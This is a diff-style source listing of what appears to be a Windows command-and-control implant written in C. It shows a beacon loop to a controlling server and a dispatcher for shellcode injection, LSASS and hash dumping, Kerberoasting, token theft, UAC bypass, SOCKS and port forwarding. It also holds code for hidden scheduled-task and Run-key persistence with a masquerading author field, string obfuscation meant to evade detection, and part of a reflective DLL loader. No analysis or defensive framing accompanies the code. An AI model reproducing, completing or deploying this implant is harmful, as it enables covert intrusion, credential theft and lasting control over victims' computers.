/* auto-getsystem: flag was consumed above, now escalate with a live context */
if (_gs_triggered) {
char _gs[4096] = {0};
cmd_getsystem(NULL, _gs, sizeof(_gs));
agent_get_username(agent.username, sizeof(agent.username));
agent_get_privileges(agent.privileges, sizeof(agent.privileges));
beacon_append_output(&agent, _gs, strlen(_gs));
}
/* phase 1: handshake */
while (!agent.handshake_done)
{
/* send our public key */
char *hs_pkt = beacon_build_handshake(&agent);
if (hs_pkt)
{
channel_send(&cfg, agent.agent_id, hs_pkt);
free(hs_pkt);
}
/* poll for server public key */
char *resp = channel_recv(&cfg, agent.agent_id);
if (resp)
{
char cmd[32] = {0}, args[4096] = {0}, task_id[64] = {0};
char *data = NULL;
beacon_parse_response(&agent, resp,
cmd, sizeof(cmd),
args, sizeof(args),
task_id, sizeof(task_id),
&data);
free(data);
free(resp);
}
if (!agent.handshake_done)
beacon_sleep(); /* jittered interval between handshake retries */
}
/* phase 2: main beacon loop */
for (;;)
{
/* build and send encrypted beacon */
char *pkt = beacon_build(&agent);
if (pkt)
{
if (channel_send(&cfg, agent.agent_id, pkt) == CHANNEL_OK)
{
/* beacon sent, clear output buffer */
beacon_clear_output(&agent);
}
free(pkt);
}
/* receive pending task */
char *raw = channel_recv(&cfg, agent.agent_id);
if (raw)
{
char cmd[32] = {0};
char args[4096] = {0};
char task_id[64] = {0};
char *data = NULL;
int parse_ok = beacon_parse_response(&agent, raw,
cmd, sizeof(cmd),
args, sizeof(args),
task_id, sizeof(task_id),
&data);
free(raw);
if (parse_ok == 0 && cmd[0] != '\0')
{
/* store task_id for ACK in next beacon */
snprintf(agent.last_task_id, sizeof(agent.last_task_id), "%s", task_id);
char *output = (char *)calloc(1, OUTPUT_BUF_SIZE);
if (!output) { free(data); continue; }
int ret = -1;
if (strcmp(cmd, "help") == 0 || strcmp(cmd, "h") == 0)
{
snprintf(output, OUTPUT_BUF_SIZE, "ok\n");
ret = 0;
}
else if (strcmp(cmd, "ls") == 0)
{
ret = cmd_ls(args[0] ? args : ".", output, OUTPUT_BUF_SIZE);
}
else if (strcmp(cmd, "mkdir") == 0)
{
ret = cmd_mkdir(args, output, OUTPUT_BUF_SIZE);
}
else if (strcmp(cmd, "rm") == 0)
{
ret = cmd_rm(args, output, OUTPUT_BUF_SIZE);
}
else if (strcmp(cmd, "cp") == 0)
{
char src[1024] = {0}, dst[1024] = {0};
sscanf(args, "%1023s %1023s", src, dst);
ret = cmd_cp(src, dst, output, OUTPUT_BUF_SIZE);
}
else if (strcmp(cmd, "mv") == 0)
{
char src[1024] = {0}, dst[1024] = {0};
sscanf(args, "%1023s %1023s", src, dst);
ret = cmd_mv(src, dst, output, OUTPUT_BUF_SIZE);
}
else if (strcmp(cmd, "reg") == 0)
{
/* reg: query|set|delete <keypath> [...] */
char action[16] = {0};
char keypath[512] = {0};
char valname[256] = {0};
char type_s[32] = {0};
char value[1024] = {0};
/* parse action */
const char *p = args;
sscanf(p, "%15s", action);
p = strchr(p, ' ');
if (p) p++;
if (p) {
/* parse key path, handles paths with spaces */
const char *q = p;
const char *key_end = NULL;
int first_tok = 1;
while (*q) {
const char *tok = q;
while (*q && *q != ' ') q++;
int in_key = (first_tok && strncmp(tok, "HKEY_", 5) == 0);
if (!in_key) {
for (const char *c = tok; c < q; c++)
if (*c == '\\') { in_key = 1; break; }
}
if (in_key) { key_end = q; }
else { break; }
first_tok = 0;
if (*q == ' ') q++;
}
if (key_end) {
size_t klen = (size_t)(key_end - p);
if (klen >= sizeof(keypath)) klen = sizeof(keypath) - 1;
strncpy(keypath, p, klen);
keypath[klen] = '\0';
p = key_end;
if (*p == ' ') p++;
if (!*p) p = NULL;
} else {
sscanf(p, "%511s", keypath);
p = strchr(p, ' ');
if (p) p++;
}
}
if (strcmp(action, "query") == 0) {
if (p) sscanf(p, "%255s", valname);
ret = cmd_reg_query(keypath, valname,
output, OUTPUT_BUF_SIZE);
} else if (strcmp(action, "set") == 0) {
/* valname type value (value may contain spaces) */
if (p) {
sscanf(p, "%255s", valname);
p = strchr(p, ' ');
if (p) p++;
}
if (p) {
sscanf(p, "%31s", type_s);
p = strchr(p, ' ');
if (p) p++;
}
if (p) {
strncpy(value, p, sizeof(value) - 1);
value[sizeof(value) - 1] = '\0';
}
ret = cmd_reg_set(keypath, valname, type_s, value,
output, OUTPUT_BUF_SIZE);
} else if (strcmp(action, "delete") == 0) {
if (p) sscanf(p, "%255s", valname);
ret = cmd_reg_delete(keypath, valname,
output, OUTPUT_BUF_SIZE);
} else {
snprintf(output, OUTPUT_BUF_SIZE,
"[reg] usage: query|set|delete <key> ...\n");
ret = -1;
}
}
#ifndef LEAN
else if (_cmdeq(cmd, EVS_str_cmd_shinject, sizeof(EVS_str_cmd_shinject)))
{
if (!data || !data[0]) {
snprintf(output, OUTPUT_BUF_SIZE, "e:0\n");
} else {
size_t sc_len = 0;
uint8_t *sc = base64_decode(data, &sc_len);
if (!sc) {
snprintf(output, OUTPUT_BUF_SIZE, "e:b64\n");
} else {
ret = inject_self(sc, sc_len);
SecureZeroMemory(sc, sc_len);
free(sc);
if (ret == 0)
snprintf(output, OUTPUT_BUF_SIZE, "ok:%zu\n", sc_len);
else
snprintf(output, OUTPUT_BUF_SIZE, "rc:%d\n", ret);
}
}
}
#endif /* LEAN */
else if (strcmp(cmd, "shell") == 0)
{
ret = cmd_shell(args, output, OUTPUT_BUF_SIZE);
}
else if (strcmp(cmd, "sysinfo") == 0)
{
ret = cmd_sysinfo(output, OUTPUT_BUF_SIZE);
}
else if (strcmp(cmd, "ps") == 0)
{
ret = cmd_ps(output, OUTPUT_BUF_SIZE);
}
else if (strcmp(cmd, "getpid") == 0)
{
ret = cmd_getpid(args, output, OUTPUT_BUF_SIZE);
}
else if (strcmp(cmd, "download") == 0)
{
ret = cmd_download(args, output, OUTPUT_BUF_SIZE);
}
else if (strcmp(cmd, "upload") == 0)
{
/* args = destination path, data = base64 file content */
ret = cmd_upload(args, data, output, OUTPUT_BUF_SIZE);
}
else if (strcmp(cmd, "sleep") == 0)
{
DWORD ms = (DWORD)strtoul(args, NULL, 10);
beacon_sleep_obf(ms);
snprintf(output, OUTPUT_BUF_SIZE, "ok:%lu\n", ms);
ret = 0;
}
#ifndef LEAN
else if (_cmdeq(cmd, EVS_str_cmd_inject, sizeof(EVS_str_cmd_inject)))
{
/* inject: args = "[pid] [method]", data = base64 shellcode */
char pid_s[16] = {0};
char method_s[16] = {0};
char extra[512] = {0}; /* optional dll_path for stomp */
sscanf(args, "%15s %15s %511s", pid_s, method_s, extra);
DWORD pid = (DWORD)strtoul(pid_s, NULL, 10);
if (pid == 0) pid = inject_find_target();
if (pid == 0) {
snprintf(output, OUTPUT_BUF_SIZE, "e:pid\n");
} else {
size_t sc_len = 0;
uint8_t *sc = base64_decode(data, &sc_len);
if (!sc) {
snprintf(output, OUTPUT_BUF_SIZE, "e:b64\n");
} else {
/* method names as char arrays — no plaintext in .rdata */
char _mh[] = {'h','i','j','a','c','k',0};
char _me[] = {'e','a','r','l','y','b','i','r','d',0};
char _ms[] = {'s','t','o','m','p',0};
int use_hijack = (strcmp(method_s, _mh) == 0);
int use_earlybird = (strcmp(method_s, _me) == 0);
int use_stomp = (strcmp(method_s, _ms) == 0);
if (use_earlybird) {
ret = inject_earlybird(sc, sc_len);
SecureZeroMemory(sc, sc_len);
free(sc);
snprintf(output, OUTPUT_BUF_SIZE,
ret == 0 ? "ok\n" : "rc:%d\n", ret);
} else if (use_stomp) {
ret = inject_stomp(pid, sc, sc_len,
extra[0] ? extra : NULL);
SecureZeroMemory(sc, sc_len);
free(sc);
if (ret == 0)
snprintf(output, OUTPUT_BUF_SIZE, "ok:%lu\n",
(unsigned long)pid);
else
snprintf(output, OUTPUT_BUF_SIZE, "rc:%d:%lu\n",
ret, (unsigned long)pid);
} else {
ret = use_hijack
? inject_thread_hijack(pid, sc, sc_len)
: inject_remote(pid, sc, sc_len);
SecureZeroMemory(sc, sc_len);
free(sc);
if (ret == 0)
snprintf(output, OUTPUT_BUF_SIZE, "ok:%lu\n",
(unsigned long)pid);
else
snprintf(output, OUTPUT_BUF_SIZE, "rc:%d:%lu\n",
ret, (unsigned long)pid);
}
}
}
}
#endif /* LEAN */
else if (_cmdeq(cmd, EVS_str_cmd_bof, sizeof(EVS_str_cmd_bof)))
{
/* bof: data = b64 COFF, args = b64 packed BOF args */
ret = cmd_bof(data, args[0] ? args : NULL, output, OUTPUT_BUF_SIZE);
}
else if (strcmp(cmd, "socks") == 0)
{
char action[16] = {0};
char portstr[8] = {0};
sscanf(args, "%15s %7s", action, portstr);
if (strcmp(action, "start") == 0) {
unsigned short port = (unsigned short)strtoul(portstr, NULL, 10);
if (!port) port = 1080;
ret = socks_start(port, output, OUTPUT_BUF_SIZE);
} else if (strcmp(action, "stop") == 0) {
ret = socks_stop(output, OUTPUT_BUF_SIZE);
} else if (strcmp(action, "status") == 0) {
snprintf(output, OUTPUT_BUF_SIZE, "[socks] %s\n",
socks_running() ? "running" : "stopped");
ret = 0;
} else {
snprintf(output, OUTPUT_BUF_SIZE,
"[socks] usage: start <port> | stop | status\n");
ret = -1;
}
}
else if (strcmp(cmd, "rportfwd") == 0)
{
/* rportfwd: start <lport> <rhost> <rport> | stop <lport> | list */
char action[16] = {0};
char p1[256] = {0}; /* lport or rhost */
char p2[256] = {0}; /* rhost */
char p3[8] = {0}; /* rport */
sscanf(args, "%15s %255s %255s %7s", action, p1, p2, p3);
if (strcmp(action, "start") == 0) {
unsigned short lport = (unsigned short)strtoul(p1, NULL, 10);
unsigned short rport = (unsigned short)strtoul(p3, NULL, 10);
if (!lport || !rport || !p2[0]) {
snprintf(output, OUTPUT_BUF_SIZE,
"[rportfwd] usage: start <lport> <rhost> <rport>\n");
ret = -1;
} else {
ret = rportfwd_start(lport, p2, rport, output, OUTPUT_BUF_SIZE);
}
} else if (strcmp(action, "stop") == 0) {
unsigned short lport = (unsigned short)strtoul(p1, NULL, 10);
ret = rportfwd_stop(lport, output, OUTPUT_BUF_SIZE);
} else if (strcmp(action, "list") == 0) {
ret = rportfwd_list(output, OUTPUT_BUF_SIZE);
} else {
snprintf(output, OUTPUT_BUF_SIZE,
"[rportfwd] usage: start <lport> <rhost> <rport> | stop <lport> | list\n");
ret = -1;
}
}
else if (strcmp(cmd, "persist") == 0)
{
/* persist: install registry|schtask|auto | remove registry|schtask */
char action[16] = {0};
char method_s[16] = {0};
sscanf(args, "%15s %15s", action, method_s);
if (strcmp(action, "install") == 0) {
if (strcmp(method_s, "registry") == 0)
ret = persist_install(PERSIST_REGISTRY);
else if (strcmp(method_s, "schtask") == 0)
ret = persist_install(PERSIST_SCHTASK);
else
ret = persist_auto();
snprintf(output, OUTPUT_BUF_SIZE,
"[persist] install rc=%d\n", ret);
} else if (strcmp(action, "remove") == 0) {
persist_method_t m = (strcmp(method_s, "registry") == 0)
? PERSIST_REGISTRY : PERSIST_SCHTASK;
ret = persist_remove(m);
snprintf(output, OUTPUT_BUF_SIZE,
"[persist] remove rc=%d\n", ret);
} else {
snprintf(output, OUTPUT_BUF_SIZE,
"[persist] usage: install registry|schtask|auto / remove registry|schtask\n");
ret = -1;
}
}
#ifndef LEAN
else if (_cmdeq(cmd, EVS_str_cmd_lsassdump, sizeof(EVS_str_cmd_lsassdump)))
{
ret = cmd_lsassdump(args[0] ? args : NULL,
output, OUTPUT_BUF_SIZE);
}
else if (_cmdeq(cmd, EVS_str_cmd_hashdump, sizeof(EVS_str_cmd_hashdump)))
{
ret = cmd_hashdump(args[0] ? args : NULL,
output, OUTPUT_BUF_SIZE);
}
#endif /* LEAN */
else if (strcmp(cmd, "portscan") == 0)
{
/* portscan: <host> <start>-<end> [timeout_ms] */
char host_s[256] = {0};
char range_s[32] = {0};
char timeout_s[16] = {0};
sscanf(args, "%255s %31s %15s", host_s, range_s, timeout_s);
unsigned short pstart = 1, pend = 1024;
char *dash = strchr(range_s, '-');
if (dash) {
*dash = '\0';
pstart = (unsigned short)strtoul(range_s, NULL, 10);
pend = (unsigned short)strtoul(dash + 1, NULL, 10);
} else if (range_s[0]) {
pstart = pend = (unsigned short)strtoul(range_s, NULL, 10);
}
int toms = timeout_s[0] ? (int)strtoul(timeout_s, NULL, 10) : 500;
ret = cmd_portscan(host_s, pstart, pend, toms,
output, OUTPUT_BUF_SIZE);
}
#ifndef LEAN
else if (strcmp(cmd, "screenshot") == 0)
{
ret = cmd_screenshot(output, OUTPUT_BUF_SIZE);
}
else if (_cmdeq(cmd, EVS_str_cmd_execasm, sizeof(EVS_str_cmd_execasm)))
{
/* execute-assembly: data = b64 PE, args for Main */
size_t asm_len = 0;
uint8_t *asm_bytes = base64_decode(data, &asm_len);
if (!asm_bytes) {
snprintf(output, OUTPUT_BUF_SIZE,
"[execute-assembly] b64 decode failed\n");
} else {
ret = cmd_execasm(asm_bytes, asm_len,
args[0] ? args : NULL,
output, OUTPUT_BUF_SIZE);
SecureZeroMemory(asm_bytes, asm_len);
free(asm_bytes);
}
}
#endif /* LEAN */
else if (strcmp(cmd, "privs") == 0)
{
/* args: list | enable <name> | disable <name> */
char action[16] = {0};
char priv_name[64] = {0};
sscanf(args, "%15s %63s", action, priv_name);
ret = cmd_privs(action[0] ? action : "list",
priv_name, output, OUTPUT_BUF_SIZE);
}
else if (strcmp(cmd, "spawn") == 0)
{
/* spawn: <exe_path> <fake_args> [real_args] */
char exe_path[512] = {0};
char fake_args[1024] = {0};
char real_args[1024] = {0};
/* first field: exe_path */
const char *p = args;
sscanf(p, "%511s", exe_path);
p = strchr(p, ' ');
if (p) p++;
/* second field: fake_args */
if (p) {
sscanf(p, "%1023s", fake_args);
p = strchr(p, ' ');
if (p) p++;
}
/* rest: real_args, may contain spaces */
if (p && p[0]) {
strncpy(real_args, p, sizeof(real_args) - 1);
real_args[sizeof(real_args) - 1] = '\0';
}
ret = cmd_spawn(exe_path, fake_args,
real_args[0] ? real_args : NULL,
output, OUTPUT_BUF_SIZE);
}
else if (strcmp(cmd, "wmiexec") == 0)
{
/* wmiexec: <host> <cmdline...>, split on first space */
char host_s[256] = {0};
char wcmd[2048] = {0};
const char *wp = args;
sscanf(wp, "%255s", host_s);
wp = strchr(wp, ' ');
if (wp) { wp++; strncpy(wcmd, wp, sizeof(wcmd) - 1); }
ret = cmd_wmiexec(host_s, wcmd, output, OUTPUT_BUF_SIZE);
}
else if (_cmdeq(cmd, EVS_str_cmd_uacbypass, sizeof(EVS_str_cmd_uacbypass)))
{
ret = cmd_uacbypass(args, output, OUTPUT_BUF_SIZE);
}
else if (_cmdeq(cmd, EVS_str_cmd_getsystem, sizeof(EVS_str_cmd_getsystem)))
{
ret = cmd_getsystem(args, output, OUTPUT_BUF_SIZE);
}
else if (_cmdeq(cmd, EVS_str_cmd_privesc, sizeof(EVS_str_cmd_privesc)))
{
ret = cmd_privesc(output, OUTPUT_BUF_SIZE);
}
else if (strcmp(cmd, "lpe_check") == 0)
{
ret = cmd_lpe_check(args, output, OUTPUT_BUF_SIZE);
}
#ifndef LEAN
else if (_cmdeq(cmd, EVS_str_cmd_kerberoast, sizeof(EVS_str_cmd_kerberoast)))
{
ret = cmd_kerberoast(args, output, OUTPUT_BUF_SIZE);
}
else if (_cmdeq(cmd, EVS_str_cmd_asreproast, sizeof(EVS_str_cmd_asreproast)))
{
ret = cmd_asreproast(args, output, OUTPUT_BUF_SIZE);
}
#endif /* LEAN */
else if (strcmp(cmd, "getuid") == 0)
{
ret = cmd_getuid(output, OUTPUT_BUF_SIZE);
}
else if (_cmdeq(cmd, EVS_str_cmd_steal_token, sizeof(EVS_str_cmd_steal_token)))
{
unsigned long pid = strtoul(args, NULL, 10);
if (!pid) {
snprintf(output, OUTPUT_BUF_SIZE, "[st] usage: st <pid>\n");
ret = -1;
} else {
ret = cmd_steal_token(pid, output, OUTPUT_BUF_SIZE);
}
}
else if (strcmp(cmd, "rev2self") == 0)
{
ret = cmd_rev2self(output, OUTPUT_BUF_SIZE);
}
else if (strcmp(cmd, "make_token") == 0)
{
/* make_token: args = "DOMAIN\\user password" */
char domain_user[256] = {0};
char password[256] = {0};
char *sp = strchr(args, ' ');
if (sp) {
size_t du_len = (size_t)(sp - args);
if (du_len >= sizeof(domain_user))
du_len = sizeof(domain_user) - 1;
memcpy(domain_user, args, du_len);
strncpy(password, sp + 1, sizeof(password) - 1);
} else {
size_t alen = strlen(args);
if (alen >= sizeof(domain_user)) alen = sizeof(domain_user) - 1;
memcpy(domain_user, args, alen);
domain_user[alen] = '\0';
}
ret = cmd_make_token(domain_user, password,
output, OUTPUT_BUF_SIZE);
SecureZeroMemory(password, sizeof(password));
}
else if (strcmp(cmd, "kill") == 0)
{
DWORD pid = (DWORD)strtoul(args, NULL, 10);
HANDLE hproc = OpenProcess(PROCESS_TERMINATE, FALSE, pid);
if (!hproc) {
snprintf(output, OUTPUT_BUF_SIZE,
"[kill] OpenProcess(%lu) failed: %lu\n",
(unsigned long)pid, GetLastError());
} else {
TerminateProcess(hproc, 1);
CloseHandle(hproc);
snprintf(output, OUTPUT_BUF_SIZE,
"[kill] pid=%lu terminated\n",
(unsigned long)pid);
ret = 0;
}
}
else if (strcmp(cmd, "cd") == 0)
{
if (SetCurrentDirectoryA(args[0] ? args : ".")) {
GetCurrentDirectoryA((DWORD)OUTPUT_BUF_SIZE, output);
size_t n = strlen(output);
if (n < OUTPUT_BUF_SIZE - 1) {
output[n] = '\n'; output[n+1] = '\0';
}
ret = 0;
} else {
snprintf(output, OUTPUT_BUF_SIZE,
"[cd] failed: %lu\n", GetLastError());
}
}
else if (strcmp(cmd, "pwd") == 0)
{
if (GetCurrentDirectoryA((DWORD)OUTPUT_BUF_SIZE, output) > 0) {
size_t n = strlen(output);
if (n < OUTPUT_BUF_SIZE - 1) {
output[n] = '\n'; output[n+1] = '\0';
}
ret = 0;
} else {
snprintf(output, OUTPUT_BUF_SIZE,
"[pwd] failed: %lu\n", GetLastError());
}
}
else
{
snprintf(output, OUTPUT_BUF_SIZE,
"[error] unknown command: %s\n", cmd);
}
beacon_append_output(&agent, output, strlen(output));
free(output);
}
free(data);
}
beacon_sleep();
}
done:
agent_free(&agent);
#ifndef HTTP_ONLY
curl_global_cleanup();
#endif
}
/* ------------------------------------------------------------------ */
/* Entry points */
/* ------------------------------------------------------------------ */
#ifdef _REFLECTIVE_DLL
void agent_main(void) { agent_run(); }
#else
static SERVICE_STATUS_HANDLE g_ssh = NULL;
static SERVICE_STATUS g_ss = {0};
static void _svc_set(DWORD state, DWORD hint)
{
g_ss.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
g_ss.dwCurrentState = state;
g_ss.dwControlsAccepted = (state == SERVICE_START_PENDING) ? 0 : SERVICE_ACCEPT_STOP;
g_ss.dwWin32ExitCode = NO_ERROR;
g_ss.dwServiceSpecificExitCode = 0;
g_ss.dwCheckPoint = (state == SERVICE_RUNNING || state == SERVICE_STOPPED) ? 0 : 1;
g_ss.dwWaitHint = hint;
{ const adv_api_t *_a = adv_get(); if (_a->SetServiceStatus) _a->SetServiceStatus(g_ssh, &g_ss); }
}
static DWORD WINAPI _svc_agent_thread(LPVOID p) { (void)p; agent_run(); return 0; }
static VOID WINAPI _svc_ctrl(DWORD ctrl)
{
if (ctrl == SERVICE_CONTROL_STOP) {
_svc_set(SERVICE_STOP_PENDING, 3000);
ExitProcess(0);
}
}
static VOID WINAPI _svc_main(DWORD argc, LPSTR *argv)
{
const char *sn = (argc > 0 && argv && argv[0]) ? argv[0] : "";
{ const adv_api_t *_a = adv_get();
if (_a->RegisterServiceCtrlHandlerA)
g_ssh = _a->RegisterServiceCtrlHandlerA(sn, _svc_ctrl);
}
if (!g_ssh) return;
_svc_set(SERVICE_START_PENDING, 3000);
HANDLE ht = CreateThread(NULL, 0, _svc_agent_thread, NULL, 0, NULL);
_svc_set(SERVICE_RUNNING, 0);
if (ht) { WaitForSingleObject(ht, INFINITE); CloseHandle(ht); }
_svc_set(SERVICE_STOPPED, 0);
}
int WINAPI WinMain(HINSTANCE hI, HINSTANCE hP, LPSTR lp, int nC)
{
(void)hI; (void)hP; (void)lp; (void)nC;
SERVICE_TABLE_ENTRYA ste[] = { {"", _svc_main}, {NULL, NULL} };
const adv_api_t *_adv = adv_get();
if (!_adv->StartServiceCtrlDispatcherA || !_adv->StartServiceCtrlDispatcherA(ste)) {
if (GetLastError() == ERROR_FAILED_SERVICE_CONTROLLER_CONNECT)
agent_run();
}
return 0;
}
#endif /* _REFLECTIVE_DLL */
+269
View File
@@ -0,0 +1,269 @@
#define COBJMACROS
#define INITGUID
#include "persist.h"
#include "evs_strings.h"
#include <windows.h>
#include <ole2.h>
#include <taskschd.h>
#include <wchar.h>
#include <string.h>
static void _exe_path(char *buf, DWORD sz)
{
GetModuleFileNameA(NULL, buf, sz);
}
/* Build BSTR from narrow string — avoids wide string literals in .rdata */
static BSTR _bstr_from_chars(const char *s)
{
int n = (int)strlen(s);
WCHAR *w = (WCHAR *)HeapAlloc(GetProcessHeap(), 0, (size_t)(n + 1) * sizeof(WCHAR));
if (!w) return NULL;
for (int i = 0; i < n; i++) w[i] = (WCHAR)(unsigned char)s[i];
w[n] = L'\0';
BSTR b = SysAllocString(w);
HeapFree(GetProcessHeap(), 0, w);
return b;
}
/* registry Run key persistence (HKCU, no elevation needed) */
static int _reg_install(const char *path)
{
char _rk[46], _rv[23];
EVS_D(_rk, EVS_str_reg_run_key);
EVS_D(_rv, EVS_str_persist_reg_val);
HKEY hk;
if (RegOpenKeyExA(HKEY_CURRENT_USER, _rk, 0, KEY_SET_VALUE, &hk) != ERROR_SUCCESS) {
SecureZeroMemory(_rk, sizeof(_rk));
SecureZeroMemory(_rv, sizeof(_rv));
return -1;
}
LONG rc = RegSetValueExA(hk, _rv, 0, REG_SZ,
(const BYTE *)path, (DWORD)(strlen(path) + 1));
RegCloseKey(hk);
SecureZeroMemory(_rk, sizeof(_rk));
SecureZeroMemory(_rv, sizeof(_rv));
return rc == ERROR_SUCCESS ? 0 : -1;
}
static int _reg_remove(void)
{
char _rk[46], _rv[23];
EVS_D(_rk, EVS_str_reg_run_key);
EVS_D(_rv, EVS_str_persist_reg_val);
HKEY hk;
if (RegOpenKeyExA(HKEY_CURRENT_USER, _rk, 0, KEY_SET_VALUE, &hk) != ERROR_SUCCESS) {
SecureZeroMemory(_rk, sizeof(_rk));
SecureZeroMemory(_rv, sizeof(_rv));
return -1;
}
RegDeleteValueA(hk, _rv);
RegCloseKey(hk);
SecureZeroMemory(_rk, sizeof(_rk));
SecureZeroMemory(_rv, sizeof(_rv));
return 0;
}
static int _schtask_install(const char *exe_path)
{
HRESULT hr;
int rc = -1;
hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
BOOL need_uninit = (hr == S_OK || hr == S_FALSE);
ITaskService *pSvc = NULL;
hr = CoCreateInstance(&CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER,
&IID_ITaskService, (void **)&pSvc);
if (FAILED(hr)) goto co_done;
{
VARIANT v; VariantInit(&v);
if (FAILED(pSvc->lpVtbl->Connect(pSvc, v, v, v, v)))
goto svc_done;
}
ITaskFolder *pFolder = NULL;
{
BSTR root = SysAllocString(L"\\");
hr = pSvc->lpVtbl->GetFolder(pSvc, root, &pFolder);
SysFreeString(root);
if (FAILED(hr)) goto svc_done;
}
ITaskDefinition *pDef = NULL;
if (FAILED(pSvc->lpVtbl->NewTask(pSvc, 0, &pDef)))
goto folder_done;
/* author field for masquerading */
{
IRegistrationInfo *pi = NULL;
if (SUCCEEDED(pDef->lpVtbl->get_RegistrationInfo(pDef, &pi))) {
char _auth[22];
EVS_D(_auth, EVS_str_persist_author);
BSTR auth = _bstr_from_chars(_auth);
SecureZeroMemory(_auth, sizeof(_auth));
pi->lpVtbl->put_Author(pi, auth);
SysFreeString(auth);
pi->lpVtbl->Release(pi);
}
}
/* principal: interactive token, no elevation */
{
IPrincipal *pp = NULL;
if (SUCCEEDED(pDef->lpVtbl->get_Principal(pDef, &pp))) {
pp->lpVtbl->put_LogonType(pp, TASK_LOGON_INTERACTIVE_TOKEN);
pp->lpVtbl->Release(pp);
}
}
/* settings: hidden, runs on battery, starts when available */
{
ITaskSettings *ps = NULL;
if (SUCCEEDED(pDef->lpVtbl->get_Settings(pDef, &ps))) {
ps->lpVtbl->put_Hidden(ps, VARIANT_TRUE);
ps->lpVtbl->put_StartWhenAvailable(ps, VARIANT_TRUE);
ps->lpVtbl->put_StopIfGoingOnBatteries(ps, VARIANT_FALSE);
ps->lpVtbl->put_DisallowStartIfOnBatteries(ps, VARIANT_FALSE);
ps->lpVtbl->Release(ps);
}
}
/* logon trigger */
{
ITriggerCollection *ptc = NULL;
if (SUCCEEDED(pDef->lpVtbl->get_Triggers(pDef, &ptc))) {
ITrigger *pt = NULL;
if (SUCCEEDED(ptc->lpVtbl->Create(ptc, TASK_TRIGGER_LOGON, &pt))) {
ILogonTrigger *plt = NULL;
if (SUCCEEDED(pt->lpVtbl->QueryInterface(pt,
&IID_ILogonTrigger, (void **)&plt))) {
char _tid[13];
EVS_D(_tid, EVS_str_persist_trigger_id);
BSTR id = _bstr_from_chars(_tid);
SecureZeroMemory(_tid, sizeof(_tid));
plt->lpVtbl->put_Id(plt, id);
SysFreeString(id);
plt->lpVtbl->Release(plt);
}
pt->lpVtbl->Release(pt);
}
ptc->lpVtbl->Release(ptc);
}
}
/* exec action */
{
IActionCollection *pac = NULL;
if (SUCCEEDED(pDef->lpVtbl->get_Actions(pDef, &pac))) {
IAction *pa = NULL;
if (SUCCEEDED(pac->lpVtbl->Create(pac, TASK_ACTION_EXEC, &pa))) {
IExecAction *pea = NULL;
if (SUCCEEDED(pa->lpVtbl->QueryInterface(pa,
&IID_IExecAction, (void **)&pea))) {
BSTR p = _bstr_from_chars(exe_path);
pea->lpVtbl->put_Path(pea, p);
SysFreeString(p);
pea->lpVtbl->Release(pea);
}
pa->lpVtbl->Release(pa);
}
pac->lpVtbl->Release(pac);
}
}
/* register task */
{
char _tn[35];
EVS_D(_tn, EVS_str_persist_task_name);
BSTR name = _bstr_from_chars(_tn);
SecureZeroMemory(_tn, sizeof(_tn));
VARIANT ve; VariantInit(&ve);
IRegisteredTask *preg = NULL;
hr = pFolder->lpVtbl->RegisterTaskDefinition(pFolder, name, pDef,
TASK_CREATE_OR_UPDATE, ve, ve,
TASK_LOGON_INTERACTIVE_TOKEN, ve, &preg);
SysFreeString(name);
if (SUCCEEDED(hr)) {
rc = 0;
if (preg) preg->lpVtbl->Release(preg);
}
}
pDef->lpVtbl->Release(pDef);
folder_done:
pFolder->lpVtbl->Release(pFolder);
svc_done:
pSvc->lpVtbl->Release(pSvc);
co_done:
if (need_uninit) CoUninitialize();
return rc;
}
static int _schtask_remove(void)
{
HRESULT hr;
int rc = -1;
hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
BOOL need_uninit = (hr == S_OK || hr == S_FALSE);
ITaskService *pSvc = NULL;
if (FAILED(CoCreateInstance(&CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER,
&IID_ITaskService, (void **)&pSvc)))
goto co_done2;
{
VARIANT v; VariantInit(&v);
pSvc->lpVtbl->Connect(pSvc, v, v, v, v);
}
ITaskFolder *pFolder = NULL;
{
BSTR root = SysAllocString(L"\\");
pSvc->lpVtbl->GetFolder(pSvc, root, &pFolder);
SysFreeString(root);
}
if (pFolder) {
char _tn[35];
EVS_D(_tn, EVS_str_persist_task_name);
BSTR name = _bstr_from_chars(_tn);
SecureZeroMemory(_tn, sizeof(_tn));
if (SUCCEEDED(pFolder->lpVtbl->DeleteTask(pFolder, name, 0)))
rc = 0;
SysFreeString(name);
pFolder->lpVtbl->Release(pFolder);
}
pSvc->lpVtbl->Release(pSvc);
co_done2:
if (need_uninit) CoUninitialize();
return rc;
}
/* public API */
int persist_install(persist_method_t method)
{
char path[MAX_PATH];
_exe_path(path, MAX_PATH);
return method == PERSIST_SCHTASK ? _schtask_install(path) : _reg_install(path);
}
int persist_remove(persist_method_t method)
{
return method == PERSIST_SCHTASK ? _schtask_remove() : _reg_remove();
}
int persist_auto(void)
{
char path[MAX_PATH];
_exe_path(path, MAX_PATH);
if (_schtask_install(path) == 0) return PERSIST_SCHTASK;
if (_reg_install(path) == 0) return PERSIST_REGISTRY;
return -1;
}
+22
View File
@@ -0,0 +1,22 @@
#ifdef _REFLECTIVE_DLL
#include <windows.h>
void agent_main(void);
static DWORD WINAPI _agent_thread(LPVOID param)
{
(void)param;
agent_main();
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hInstDLL, DWORD dwReason, LPVOID lpReserved)
{
(void)lpReserved;
if (dwReason == DLL_PROCESS_ATTACH) {
DisableThreadLibraryCalls(hInstDLL);
CreateThread(NULL, 0, _agent_thread, NULL, 0, NULL);
}
return TRUE;
}
#endif /* _REFLECTIVE_DLL */
+246
View File
@@ -0,0 +1,246 @@
#ifdef _REFLECTIVE_DLL
#include <windows.h>
#include <winternl.h>
#include <intrin.h>
#include <stdint.h>
/* Silence MinGW warning about DllMain not being declared */
BOOL WINAPI DllMain(HINSTANCE, DWORD, LPVOID);
/* full LDR_DATA_TABLE_ENTRY layout, MinGW winternl.h only exposes FullDllName */
typedef struct _MY_LDR_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
} MY_LDR_ENTRY;
typedef struct _MY_PEB_LDR {
ULONG Length;
BOOLEAN Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
